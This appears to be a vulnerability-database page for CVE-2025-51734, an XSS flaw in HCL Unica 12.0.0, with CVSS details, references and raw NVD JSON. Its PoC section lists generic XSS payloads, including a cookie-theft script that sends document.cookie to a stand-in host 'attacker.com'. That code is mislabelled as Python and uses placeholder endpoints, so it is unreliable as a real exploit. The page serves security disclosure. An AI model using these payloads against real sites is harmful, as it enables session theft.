CVE-2025-51734

Description

Cross-site scripting (XSS) vulnerability in HCL Technologies Ltd. Unica 12.0.0.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:hcltech:unica:12.0.0:*:*:*:*:*:*:* - VULNERABLE

HCL Unica 12.0.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-51734 XSS PoC for HCL Unica 12.0.0
// This PoC demonstrates the XSS vulnerability in HCL Unica 12.0.0
// Note: Only use for authorized security testing

const pocPayload = '<script>alert(document.cookie)</script>';

// Example attack vectors:
// 1. URL Parameter Injection
const urlBasedAttack = 'https://target-unica/vuln_endpoint?param=' + encodeURIComponent(pocPayload);

// 2. Form Field Injection
const formBasedAttack = {
    method: 'POST',
    url: 'https://target-unica/submit_endpoint',
    body: {
        userInput: pocPayload,
        description: '<img src=x onerror="alert(document.domain)">',
        name: '<svg onload=alert(1)>'
    }
};

// 3. Cookie Theft PoC
const cookieTheftPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>';

console.log('CVE-2025-51734 PoC Payload:', pocPayload);
console.log('URL-based Attack:', urlBasedAttack);
console.log('Cookie Theft Payload:', cookieTheftPayload);

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-51734
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-51734
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-51734/
[4] VulDB https://vuldb.com/cve/CVE-2025-51734
[5] https://gist.github.com/ikpehlivan/4361fa808e04d884e4771be88e891ec2

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-51734", "sourceIdentifier": "[email protected]", "published": "2025-11-28T15:16:01.280", "lastModified": "2025-12-02T20:58:09.087", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-site scripting (XSS) vulnerability in HCL Technologies Ltd. Unica 12.0.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:unica:12.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "C7E79CAB-2508-4CBD-A075-BEEE2B503C30"}]}]}], "references": [{"url": "https://gist.github.com/ikpehlivan/4361fa808e04d884e4771be88e891ec2", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}